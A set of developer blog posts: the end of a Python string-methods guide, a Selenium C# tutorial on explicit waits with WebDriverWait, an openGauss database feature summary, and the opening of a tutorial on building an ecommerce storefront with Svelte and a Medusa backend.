returns True if the string ends with the specified string. ``` string = 'Python language' print(string.endswith('uage')) # True ``` --- 13.replace(): The replace() method is used to replace every occurrence of matching substring with another string. ``` line = 'Python is a snake' line = line.replace('snake', 'language') #Python is a language ``` --- 14.index(): The index() method returns the index of first occurrence of the given substring. If the given substring is not in the string, then it raises an exception. We can also give start and end index in which we want to find the substring. ``` line = 'Hello world' print(line.index('world')) #6 print(line.index('hello')) #ValueError: substring not found print(line.index('o', 6, 10)) #7 ``` --- 15.find(): The find() method is same as index() method. But, it returns -1 when substring is not found. ``` line = 'Hello world' print(line.index('world')) #6 print(line.index('hello')) #-1 ``` References: - [Python String Methods, Programiz](https://www.programiz.com/python-programming/methods/string) - [Python String Methods, W3Schools](https://www.w3schools.com/python/python_ref_string.asp)
ajith_56
1,373,548
## How To Use WebDriverWait In Selenium C#
The more you work with Selenium automation, the more you will come across various exceptions, such as...
0
2023-02-21T06:21:00
https://www.lambdatest.com/blog/webdriverwait-in-selenium-c-sharp/
selenium, webdriver, automation, cloudtesting
The more you work with [Selenium automation](https://www.lambdatest.com/selenium-automation?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage), the more you will come across various exceptions, such as *NoSuchElementException* (when an element is not visible on the page) or *StaleElementReferenceException*. Or there will be times when you will try to interact with an element that is not yet in the state you expect it to be (e.g., clickable). To do this, you can instruct [Selenium WebDriver](https://www.lambdatest.com/learning-hub/webdriver?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=learning_hub) to wait for certain conditions to be met **explicitly**. [Explicit waits in Selenium](https://www.lambdatest.com/blog/explicit-fluent-wait-in-selenium-c/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) are a way to deal with the dynamic nature of web pages, where elements may take longer to load or become available for interaction. By using explicit waits, you can tell [Selenium](https://www.lambdatest.com/selenium?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) to wait for a specific condition to be met before executing the next step in your automation script. This allows for a more flexible and robust automation solution. In this [Selenium C# tutorial](https://www.lambdatest.com/learning-hub/selenium-c-sharp-tutorial?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=learning_hub), I will show you how you can use the WebDriverWait in Selenium C# to increase the reliability of your test. ***Run your*** [***Jest automation***](https://www.lambdatest.com/jest?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) ***tests in massive parallel across multiple browser and OS combinations with LambdaTest, Read more.*** ### What are Selenium Waits? Before we dig deeper, let’s understand the [waits in Selenium](https://www.lambdatest.com/blog/types-of-waits-in-selenium/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) and why we use them. Selenium WebDriver doesn’t keep track of the DOM’s live, active state. Its default page load method waits for the document.readyState to become “complete”. This can happen before all the elements on the page are loaded and can cause the tests to throw NoSuchElementException. You can refer to this blog on the [most common Selenium exceptions](https://www.lambdatest.com/blog/49-common-selenium-exceptions-automation-testing/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) to learn more about it. Consider a test where you try to click on a button that has not yet loaded or is not yet enabled (though visible) on the page. If Selenium WebDriver attempts to click on a button that is not available in the DOM, it will throw a *NoSuchElementException*. You might also witness the [*Element Is Not Clickable at Point*](https://www.lambdatest.com/blog/how-to-deal-with-element-is-not-clickable-at-point-exception-using-selenium/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) exception if the element is visible in the DOM but not clickable at a particular point. This will cause all further steps to fail, although the application works as expected when clicking the button at the correct time. To prevent this, we use waits. With waits, we can tell our tests to wait a certain amount or for specific conditions before moving on to the next steps. ### Types of Waits in Selenium C# There are several ways to wait for a web element to appear on a web page. I will go through each one and then expand more on the explicit waits, which are the focus of this blog. ### Thread.Sleep() *System.Threading.Thread.Sleep(milliseconds)* is not a Selenium WebDriver method but a built-in one in .Net. What it does is it suspends the current thread for the number of milliseconds passed as a parameter. However, this is not recommended when working with [automated web UI testing](https://www.lambdatest.com/automated-web-ui-testing?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage), because it is very rigid — the specified time has to pass before moving to the next step, regardless of whether the element you are waiting for was loaded faster. For example, if your web element takes 3 seconds to load, and the Sleep parameter is set to 5 seconds, the test will wait 5 seconds before moving to the next step: ```plaintext Thread.Sleep(5000); driver.FindElement(By.Id("slowButton")).Click(); ``` ***Test your website or web app online for iOS browser compatibility, including on the latest iPhone Simulator, by using an*** [***iPhone tester***](https://www.lambdatest.com/test-on-iphone-simulator?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage)***. Perform seamless cross-browser testing on this device to ensure a flawless user experience. You can even try it for free.*** It might not sound like a big deal, but if you have hundreds of tests and many of them use *Thread.Sleep()*, which can add a lot of unnecessary wait time to the [test execution](https://www.lambdatest.com/learning-hub/test-execution?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=learning_hub). If the test takes around 5 seconds, adding up the Sleep time of another 5 seconds, that means doubling the time it takes to run the test! Also, if the time it takes for the button to load exceeds those 5 seconds, you will still get a *NoSuchElementException*. ### Implicit Wait Then, we have the Selenium [implicit wait](https://www.lambdatest.com/blog/implicit-wait-csharp-selenium/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog): ```plaintext driver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(20); ``` The [implicit wait in Selenium](https://www.lambdatest.com/blog/implicit-wait-csharp-selenium/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) is dynamic — it waits until an element is visible on the page or until the given timespan has elapsed. If the element has not been found before the given time duration, an *ElementNotVisibleException* or *NoSuchElementException* will be thrown. The Selenium implicit wait applies to all the web elements in the test script and is a much-preferred method to *Thread.Sleep()*. ### Explicit Wait However, if you want even more flexibility, you should go for the explicit wait. The WebDriverWait in Selenium C# is part of the [*OpenQA.Selenium.Support*](http://OpenQA.Selenium.Support)*.UI* package. WebDriverWait in Selenium C# allows Selenium not only to wait for an element to be visible on the web page but also until specific conditions are met. ```plaintext WebDriverWait wait = new WebDriverWait(driver, TimeSpan.FromSeconds(20)); wait.PollingInterval = TimeSpan.FromMilliseconds(200); wait.Until(ExpectedConditions.ElementIsVisible(By.Id("my-element']"))).Click(); ``` ***A complete*** [***WebDriver***](https://www.lambdatest.com/learning-hub/webdriver?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=learning_hub) ***tutorial that covers what WebDriver is, its features, architecture and best practices.*** This is how WebDriverWait in Selenium C# works: 1. The condition is checked. If the condition is true, the next lines of code are executed. 2. If the condition is false, a thread sleep is called at a polling interval. The default value of this polling interval is 250 ms, but a different value can be specified: ```plaintext wait.PollingInterval = TimeSpan.FromMilliseconds(200); ``` 1. After this interval elapses, the condition is rechecked. 2. This step repeats until the given wait time expires or the condition is met. ### Expected Conditions with Explicit Wait Here are some examples of [Expected Conditions in Selenium](https://www.lambdatest.com/blog/expected-conditions-in-selenium-examples/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) I have used the most in my tests (your tests might have different needs, but these are just to illustrate how explicit waits can be useful): * **ElementExists**: waits for the element to exist in the DOM of the page, even if it’s not visible. * **ElementIsVisible**: waits for the element to be visible on the page. There are cases when the element can exist in the DOM but is not yet displayed on the page, so we cannot interact with it. * **ElementToBeClickable**: wait for an element to become clickable — can be useful when a button is quickly loaded on the page but cannot be clicked right away because it is disabled or cannot be clicked until a different action is performed. * **AlertIsPresent**: waits for the presence of an alert — alerts are usually triggered by another action, and it can take some time to display them. If you interact with an element on the alert (like dismiss/confirm the alert or try to confirm its text) too soon, you can get a NoAlertPresentException. * **InvisibilityOfElementLocated**: waits for an element to not be visible on the page. For instance, you want to check that after inserting invalid data in an input field, the warning message is no longer displayed when the correct data is entered. * **TextToBePresentInElement**: waits for a given text to be displayed inside a certain web element. * **ElementToBeSelected**: waits for an element to be selected — can be used for checkboxes that are automatically selected through other actions. ### Demonstration: How to use WebDriverWait in Selenium C# In this section, we will go over an example of using WebDriverWait in Selenium C# to handle the dynamic nature of web pages. The WebDriverWait class is a useful tool for waiting for specific conditions to be met before executing the next step in your automation script. This helps to make your scripts more flexible and robust, allowing for a better automation solution. ### Test Scenario 1. Navigate to the [JQuery Download Progress Bar](https://www.lambdatest.com/selenium-playground/jquery-download-progress-bar-demo?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) page. 2. Click the Start Download button. 3. Click the Close button when it’s available: ### Implementation If this is your first test, you will need to create a new project. In this WebDriverWait in Selenium C# tutorial, I’ll be using the [MSTest framework](https://www.lambdatest.com/blog/mstest-tutorial-running-first-selenium-automation-script/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog), which is Microsoft’s tool for running tests in .NET applications. If you prefer to work with NUnit, you can check out the [Selenium NUnit tutorial.](https://www.lambdatest.com/learning-hub/nunit-tutorial?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=learning_hub) To learn more about MSTest, NUnit, and other popular [unit testing frameworks](https://www.lambdatest.com/blog/11-best-unit-testing-frameworks-for-selenium-automation/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) like xUnit, you can go through this blog on [NUnit vs xUnit vs MSTest](https://www.lambdatest.com/blog/nunit-vs-xunit-vs-mstest/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog). Finally, we will be executing the test on the LambdaTest cloud grid. Cloud testing platforms like LambdaTest allow you to perform [cross browser](https://www.lambdatest.com/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) testing at scale over an [online device farm](https://www.lambdatest.com/online-device-farm?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) of 3000+ browsers and browser versions. {% youtube WZlsHlReRww %} ***By using an*** [***iPhone emulator***](https://www.lambdatest.com/ios-simulator-online?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage)***, such as the iOS simulator by LambdaTest, you can effortlessly test your websites and web applications across a range of devices, operating system versions, and browsers, from the latest models to older ones. Additionally, you can test your iOS app online across 200+ device and iOS environments. Register for free and start testing today.*** Subscribe to [LambdaTest YouTube Channel](https://www.youtube.com/c/LambdaTest?sub_confirmation=1?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=youtube) and stay updated with detailed tutorials around Selenium testing, [Cypress testing](https://www.lambdatest.com/cypress-testing?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage), and more. 1. To create a new test project in Visual Studio, select the MSTest Test Project type: 2. Install the following NuGet packages from the Package Manager: * **Selenium.WebDriver**: For this WebDriverWait in Selenium C# tutorial, I am using version 3.141.0, which is still one of the most used versions in existing [Selenium projects.](https://www.lambdatest.com/blog/top-selenium-open-source-projects-on-github/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) * [**Selenium.Support**](http://Selenium.Support): It should be the same version as the Selenium.WebDriver package; this is the package that contains the Selenium WebDriverWait. 1. Install the NuGet packages from the UI, from the *Tools menu → NuGet Package Manager → Manage NuGet Packages for Solution…* and search for them in the list: ![](https://cdn-images-1.medium.com/max/800/0*sPFX4kkFDw8ju0nh.png align="left") Or you can run the install command from the *Package Manager Console (Tools menu → NuGet Package Manager → Package Manager Console):* ```plaintext PM> NuGet\Install-Package Selenium.WebDriver -Version 3.141.0 ``` ![](https://cdn-images-1.medium.com/max/800/0*qnu2cwFgUeKb7dfI.png align="left") I used the [LambdaTest Capabilities Generator](https://www.lambdatest.com/capabilities-generator/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) to create the configuration where I want to run my tests. You can create your custom setup, depending on the configuration you want to use in your tests. I’m keeping it simple, testing on Windows 11 with Chrome version 101 and a resolution of 1280×800. 1. Before running the tests, please set the environment variables LT\_USERNAME & LT\_ACCESS\_KEY from the terminal. The account details are available on your [LambdaTest Profile](https://accounts.lambdatest.com/detail/profile?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) page. **For macOS:** ```plaintext export LT_USERNAME=LT_USERNAME export LT_ACCESS_KEY=LT_ACCESS_KEY ``` **For Linux:** ```plaintext export LT_USERNAME=LT_USERNAME export LT_ACCESS_KEY=LT_ACCESS_KEY ``` **For Windows:** ```plaintext set LT_USERNAME=LT_USERNAME set LT_ACCESS_KEY=LT_ACCESS_KEY ``` 1. Create a new class containing the following code: ```plaintext using Microsoft.VisualStudio.TestTools.UnitTesting; using OpenQA.Selenium; using OpenQA.Selenium.Remote; using System; using OpenQA.Selenium.Support.UI; namespace SeleniumExplicitWaits { [TestClass] public class SeleniumWebDriverWaits { private static IWebDriver driver; public static string gridURL = "@hub.lambdatest.com/wd/hub"; public static string LT_USERNAME = Environment.GetEnvironmentVariable("LT_USERNAME"); public static string LT_ACCESS_KEY = Environment.GetEnvironmentVariable("LT_ACCESS_KEY"); [TestInitialize] public void SetUp() { var desiredCapabilities = new DesiredCapabilities(); desiredCapabilities.SetCapability("browserName", "Chrome"); desiredCapabilities.SetCapability("platform", "Windows 11"); desiredCapabilities.SetCapability("version", "101.0"); desiredCapabilities.SetCapability("screenResolution", "1280x800"); desiredCapabilities.SetCapability("user", LT_USERNAME); desiredCapabilities.SetCapability("accessKey", LT_ACCESS_KEY); desiredCapabilities.SetCapability("build", "Selenium C-Sharp"); desiredCapabilities.SetCapability("name", "Selenium Test"); driver = new RemoteWebDriver(new Uri($"https://{LT_USERNAME}:{LT_ACCESS_KEY}{gridURL}"), desiredCapabilities, TimeSpan.FromSeconds(600)); } [TestMethod] public void DownloadFile() { driver.Navigate().GoToUrl("https://www.lambdatest.com/selenium-playground/jquery-download-progress-bar-demo"); driver.FindElement(By.Id("downloadButton")).Click(); WebDriverWait wait = new WebDriverWait(driver, TimeSpan.FromSeconds(20)); wait.PollingInterval = TimeSpan.FromMilliseconds(200); wait.Until(ExpectedConditions.ElementToBeClickable(By.XPath("//button[contains(text(),'Close') and @class='ui-button ui-corner-all ui-widget']"))).Click(); } [TestCleanup] public void Cleanup() { driver.Quit(); } } ``` ***Perform browser automation testing on the most powerful cloud infrastructure. Leverage LambdaTest*** [***automation testing platform***](https://www.lambdatest.com/automation-testing?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) ***for faster, reliable and scalable experience on cloud.*** ### Code Walkthrough The using statements in any C# class contain the packages that will be used: ![](https://cdn-images-1.medium.com/max/800/0*MLvQ-cck7-qDeugt.png align="left") The *\[TestClass\]* attribute from MSTest marks the class as a test class: ![](https://cdn-images-1.medium.com/max/800/0*VCeqP-mv6U5o6Zef.png align="left") In the next part, I’m declaring all the variables that will be used in the methods: ![](https://cdn-images-1.medium.com/max/800/0*6jrpcXLHXGrc6nxU.png align="left") The driver is a new instance of the IWebDriver interface. Through it, we control the browser. The next lines of code are related to my LambdaTest Account because I want my tests to run on [cloud Selenium Grid](https://www.lambdatest.com/selenium-automation?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage). This way, I can specify configurations where my tests will run, which can be different from my local configuration. This brings us to the next part: ![](https://cdn-images-1.medium.com/max/800/0*PiQussIOCwJNdrn4.png align="left") This method is triggered before each test case. It will create a new browser instance with specific capabilities. The next method is the actual test: ![](https://cdn-images-1.medium.com/max/800/0*Wlu9s_U6KAvMs_k5.png align="left") The \[TestMethod\] attribute informs that the method is a test method. The Navigate().GoToUrl() is the Selenium C# method to go to a specific URL. Then, the [FindElement() in Selenium](https://www.lambdatest.com/selenium-automation?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog) is the method that allows us to identify web elements on the web page based on locators, such as * ID * Name * Class Name * XPath * CSSSelector * Link text or partial link text For the first element I’m interacting with, I’m using the [ID locator in Selenium](https://www.lambdatest.com/blog/making-the-move-with-id-locator-in-selenium-webdriver/?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=blog). It’s usually recommended because it should be unique. To retrieve this information from the browser, right-click the element and select Inspect. This will open up (if it’s not already open) the Developer Tools, where you can see the details of the element: ![](https://cdn-images-1.medium.com/max/800/0*TkPZZOEcZPpgWZ0a.png align="left") Next, I’m using the actual explicit wait: ![](https://cdn-images-1.medium.com/max/800/0*OAE15w2XU7d-m30f.png align="left") I created a new variable of type WebDriverWait, giving it a time span of 20 seconds — this is the maximum amount of type I am instructing Selenium to wait for my condition to be met. Next, I am using a polling interval of 200 milliseconds — this is completely optional, but I wanted to show you how it can be used. Selenium will retry to find the web element every 200 milliseconds. Finally, I specified the condition I wanted to wait for, which was for the button to become clickable. The button doesn’t have an Id, so I am using an XPath with a combination of 2 attributes: text and class name. I can see this in Developer Tools as well: ```plaintext <button type="button" class="ui-button ui-corner-all ui-widget">Close</button> ``` The last method is the cleanup, marked by the attribute \[*TestCleanup*\], which will run after every test. It simply closes the browser using the Selenium Quit() method. ```plaintext [TestCleanup] public void Cleanup() { driver.Quit(); } ``` **Execution** The test will be visible in Visual Studio’s test explorer, and you can run it from there. If you choose to run it locally, you will see the browser open up and perform all the steps. If you are using cloud Selenium Grid, like me, you will see the test result when it finishes running: ![](https://cdn-images-1.medium.com/max/800/0*H2wMnuRpS3M2ccyK.png align="left") And you will see the results online: ![](https://cdn-images-1.medium.com/max/800/0*UKoUffnn46eV7F8I.png align="left") You can also see all the retries performed before the element was found: ![](https://cdn-images-1.medium.com/max/800/0*dYqv3c4Ib_1E8wTg.png align="left") ***Perform browser automation testing on the most powerful cloud infrastructure. Leverage LambdaTest*** [***testing automation cloud***](https://www.lambdatest.com/automation-testing?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) ***for faster, reliable and scalable experience on cloud.*** However, my test was successful because after waiting less than the given time, the element was found and clickable. Demonstrate your expertise and knowledge in using Selenium for [C# automation testing](https://www.lambdatest.com/c-sharp-automation-testing?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage) with this Selenium C# 101 certification. This will enhance your technical skills and establish your credibility as a tester. ### Conclusion Having the option to wait for web elements to be loaded or meet a certain condition can be very important in [automated UI testing](https://www.lambdatest.com/automated-ui-testing?utm_source=devto&utm_medium=organic&utm_campaign=feb22_ap&utm_term=ap&utm_content=webpage). In this blog on WebDriverWait in Selenium C#, I covered how to create explicit waits using WebDriverWait in Selenium C# to create more stable tests and why they can be preferred to implicit waits. I also showed how you can run the tests on the cloud, so you don’t have to use your local settings and configuration, and how to see the results on the LambdaTest cloud Selenium Grid.
andreeadraniceanu
1,373,663
openGauss Feature introduction
Standard SQL support Support standard SQL92/SQL99/SQL2003/SQL2011 specifications, support GBK and...
0
2023-02-21T08:11:50
https://dev.to/490583523leo/opengauss-feature-introduction-474g
Standard SQL support Support standard SQL92/SQL99/SQL2003/SQL2011 specifications, support GBK and UTF-8 character sets, support SQL standard functions and analysis functions, and support stored procedures. Database storage management functions Table space is supported, and different tables can be planned to different storage locations; the enterprise version supports various storage engines such as Ustore, Astore, and MOT. Provide active and standby dual machines Transactions support ACID features, single-node failure recovery, dual-machine data synchronization, dual-machine failover, etc.; the enterprise version also provides CM tools that support database instance status query, active-standby switchover, log management, cluster status query and push, etc. API Supports standard JDBC 4.0 features and ODBC 3.5 features. management tool Provides installation and deployment tools, instance startup and shutdown tools, backup and recovery tools, capacity expansion and contraction tools, and upgrade tools. safety management Support functions such as SSL secure network connection, user authority management, password management, security audit, fine-grained ANY authority control, etc., to ensure the security of the database at the management layer, application layer, system layer and network layer. AI intelligence The enterprise version supports parameter self-tuning, slow SQL discovery, single query index recommendation, virtual index, workload index recommendation, database index collection, prediction and exception monitoring and other functions; the native AI engine in the library supports 10+ high-performance machine learning algorithms. new features The description here is openGauss version 3.1.1. Based on the functions of version 3.1.0, the following features are added: The active-standby shared storage provides the ability for the active and standby machines to share a storage, and realizes the HA deployment form of the active-standby shared storage based on the disk array device. Optionally, OCK RDMA can be used to improve the real-time consistent read capability of the standby machine. This feature mainly relies on two self-developed public components: Distributed Storage Service (DSS) DSS is an independent process that directly manages disk array raw devices and provides capabilities similar to distributed file systems. Through the shared memory and the client API dynamic library, the database provides the ability to create files, delete files, expand and shrink files, and read and write files. Distributed Memory Service DMS (Distributed Memory Service) DMS is a dynamic library, which is integrated in the database, transmits page content through the TCP/RDMA network, integrates the main and backup memories, and provides memory pooling capabilities, so as to achieve real-time consistent reading of the backup machine Function, that is, after the host transaction is committed, it can be read immediately on the standby machine, and there is no delayed read phenomenon (the transaction isolation level is Read-Committed). Shared storage uses OCK RDMA to reduce the DMS primary and secondary page exchange delay. The latency of the standby machine's consistent read under TCP is compared. If OCK RDMA is enabled, the standby machine's consistent read latency will be reduced by at least 20%. CM deployment and database deployment are decoupled, and CM supports incremental upgrades. When there are existing database processes, CM decoupled installation is supported. At the same time, CM components are supported to be upgraded separately to enhance the reliability of database clusters. MySQL Compatibility Enhancement Version 3.1.1 adds support for the following grammar points (only some typical grammars are listed, for details, please refer to the "MySQL Compatibility Description" chapter in the "Developer Guide"): Operators: !, ->, -». System functions: JSON_ARRAY(), JSON_OBJECT(), JSON_QUOTE(), JSON_CONTAINS(), JSON_CONTAINS_PATH(), JSON_EXTRACT() and other 28 JSON functions, support any_value, database, default functions. DDL: Support partition table to use function as partition condition Partition table syntax supports less than maxvalue DML: Support Load DATA syntax for importing data Views support insert, delete and update insert supports the expression rvalue after set with field name Specify multiple partitions to query data PL/SQL: Support WHILE loop with labels Support CASE WHEN condition control syntax Support IF_THEN control syntax Support CURSOR syntax and compatible with MySQL Support Declare...CONDITION FOR syntax Support for DO expr [, expr] ... Support for REPEAT and Return clauses DCL: create user with if not exists option other: Add sql_mode options ansi_quotes and no_zero_date, which respectively indicate double quotes as quotes and date supports all 0s Support show warnings, show errors support for backticks as identifiers Enhanced MOT capabilities MOT table supports MVCC Support cross-engine joint computing capability of MOT table and disk table MOT table supports add/drop/rename column MOT supports parallel playback Stored procedures containing only the MOT table support JIT just-in-time compilation
490583523leo
1,373,674
Build a High-Performing Ecommerce with Svelte and Medusa Backend
Introduction Online shopping, referred to as ecommerce or electronic commerce, involves...
0
2023-02-21T11:32:39
https://dev.to/femi_akinyemi/build-a-high-performing-ecommerce-with-svelte-and-medusa-backend-45b4
svelte, javascript, medusa, ecommerce
## Introduction Online shopping, referred to as ecommerce or electronic commerce, involves purchasing and selling goods and services. The ease of use and security of online transactions has made them increasingly popular among individuals and businesses. However, setting up an ecommerce site is not a simple task. This process requires delivering excellent customer service, processing orders efficiently, and storing customer data. In this tutorial, you will learn how to build a performant ecommerce site using [Medusa](https://github.com/medusajs/medusa) and [Svelte](https://svelte.dev/). The Svelte ecommerce tutorial source code is readily available on [GitHub](https://github.com/femakin/Best-Store). Here is a brief preview of the application. ![https://dev-to-uploads.s3.amazonaws.com/uploads/articles/it63nlrgsbver6w05lux.gif](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/it63nlrgsbver6w05lux.gif) ## What is Svelte? [Svelte](https://svelte.dev/tutorial/basics) is a tool that helps you create fast web applications. It works similarly to other JavaScript frameworks like React and Vue, which make it easy to build interactive user interfaces. However, Svelte has an advantage in converting your app into ideal JavaScript during development rather than interpreting the code at runtime. You don't experience the performance cost of implementation or a delay when your application first loads. You can use Svelte to build your entire app or add it to an existing codebase. You can also create standalone components that work anywhere without the additional burden of working with a traditional framework. ## What is Medusa? [Medusa](https://docs.medusajs.com/) is an open source Node.js-based [composable commerce](https://medusajs.com/blog/composable-commerce/) engine that offers a flexible and modular solution for ecommerce businesses. Its architecture consists of three essential components: the Medusa server, the admin dashboard, and the storefront. It includes many powerful features, such as currency support, product configurations, multi-currency support, and the ability to process manual orders. Medusa also provides essential ecommerce components like the headless server, the admin, and the storefront as building blocks for an ecommerce stack. With the Medusa storefront, you can build ecommerce stores for any platform as Android, iOS, and the web. ## Prerequisites To follow along, be sure you have the following: - Basic knowledge of [JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript) - [Node.js](https://nodejs.org/en/) ( v16+) installed - [Npm](https://www.npmjs.com/) (v8+) installed ## Setup ### Medusa server installation To install Medusa on your computer, follow these steps: Install Medusa CLI by running the following command in your terminal: ```bash npm install @medusajs/medusa-cli -g ``` Now create a new Medusa server by running the following command: ```bash medusa new my-medusa-store --seed ``` Using the `--seed` flag, the database is populated with demo data that serves as a starting point for the ecommerce store. Start the Medusa server by running the following command in the ecommerce-store-server directory: ```bash cd my-medusa-store medusa develop ``` You can now use a tool like Postman or a browser to test it out. Open your browser and go to the URL `localhost:9000/store/products` If you find something like this in the browser, your connection to the Medusa server is working. Otherwise, review all the steps and ensure nothing is missing. ![https://res.cloudinary.com/practicaldev/image/fetch/s--NUoLM-9e--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6s6kc31skpgjsjso9b23.png](https://res.cloudinary.com/practicaldev/image/fetch/s--NUoLM-9e--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6s6kc31skpgjsjso9b23.png) ### Medusa Admin Installation In this section, you will install the Medusa Admin. The Medusa Admin provides many e-commerce features, including managing Return Merchandise Authorization (RMA) flows, store settings, order management, and product management from an interactive dashboard. You can learn more about Medusa admin and its features in this [User Guide](https://docs.medusajs.com/user-guide/). Here are the steps you will need to follow to set up your Medusa admin dashboard. - Clone the Admin GitHub repository by running: ```bash git clone https://github.com/medusajs/admin medusa-admin ``` - Change to the newly created directory by running: ```bash cd medusa-admin ``` - Install the necessary dependencies by running: ```bash npm install ``` - Test it out by navigating into the directory holding your Medusa admin and run: ```bash npm run start ``` The admin runs by default on port `7000`. You can access the administration page at `localhost:7000`. You should see a login page like this one: ![https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7nsr3vitrb24elw95p36.png](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7nsr3vitrb24elw95p36.png) Using the `--seed` option when setting up Medusa will create a fake admin account for you. The email is `admin@medusa-test.com` and the password is `supersecret`. With the Medusa admin account, you can manage your store's products and collections, view orders, manage products, and configure your store and regions. You can edit or create products through the Medusa admin. ![https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wr8bob9yl6x71mjv0aos.png](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wr8bob9yl6x71mjv0aos.png) ### Create and Set Up A Svelte Project The next step is to create and set up a new [Svelte](https://svelte.dev/) project for the ecommerce project. This Svelte commerce will use [SvelteKit](https://kit.svelte.dev/) since it is the recommended setup method. To create a new SvelteKit project, run the command below: ```javaScript npm create svelte@latest svelte-eCommerce ``` The command above creates a new Svelte project. ![https://res.cloudinary.com/practicaldev/image/fetch/s--3DGXDL2t--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ehdxq8zdmwk0nk5anm32.png](https://res.cloudinary.com/practicaldev/image/fetch/s--3DGXDL2t--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ehdxq8zdmwk0nk5anm32.png) During installation, there will be prompts for several optional features, such as `ESLint` for code linting and `Prettier` for code formatting. Make sure you select the same option as shown in the image. The next step is to run the following command: ```bash cd svelte-eCommerce npm install npm run dev ``` This code sets up and runs a development server for a Svelte project. Here's what each line does: 1. `cd svelte-eCommerce` changes the current directory to the project directory. 2. You install dependencies by running `npm install`. 3. Running the development server via `npm run dev` starts the project's development environment. This will compile the project and start a local server, allowing you to view and test the project in your browser. ### Setup of Tailwind CSS You can style this Svelte ecommerce site using Tailwind CSS. Follow this [guide on Setting up Tailwind CSS in a SvelteKit project](https://tailwindcss.com/docs/guides/sveltekit) in your `svelte-eCommerce` directory. ## Install Dependencies Navigate into your `svelte-eCommerce` directory and install the below dependencies ```javaScript npm i axios svelte-icons-pack sweetalert2 ``` This command installs three npm packages: axios, svelte-icons-pack, and sweetalert2. - **`axios`** is a popular JavaScript library that provides a simple API for making HTTP requests to a server. It works in the browser and Node.js environments and is often used to send and receive data from web APIs. - **`svelte-icons-pack`** is a package of icons for use with the Svelte framework. This package provides a collection of icons that can be easily used in Svelte applications. - **`sweetalert2`** is a JavaScript library for creating beautiful, responsive, and customizable alert dialogs. It is often used to provide feedback to users or prompt them for input in web applications. ## Medusa with Svelte Storefront You start building the Svelte ecommerce app here. ### Change Svelte Port In the `svelte-eCommerce/vite.config.js` file, replace the existing code with the code below ```javaScript import { sveltekit } from '@sveltejs/kit/vite'; /** @type {import('vite').UserConfig} */ const config = { plugins: [sveltekit()], server: { port: 8000, strictPort: false, }, }; export default config; ``` The configuration object specifies the following options: 1. The **`server`** option specifies the port that the development server should listen on (8000) and whether the server should only listen on that exact port or allow any available port (**`strictPort: false`**). > By default, the Medusa server allows connections for the storefront on port `8000`. > ### Create a Base URL Environment Variable Creating an environment file to store your base URL can make switching between development and production environments a breeze. It keeps sensitive information, such as API keys, separate from your codebase. Create a `.env` file in the `svelte-eCommerce` directory with the following content: 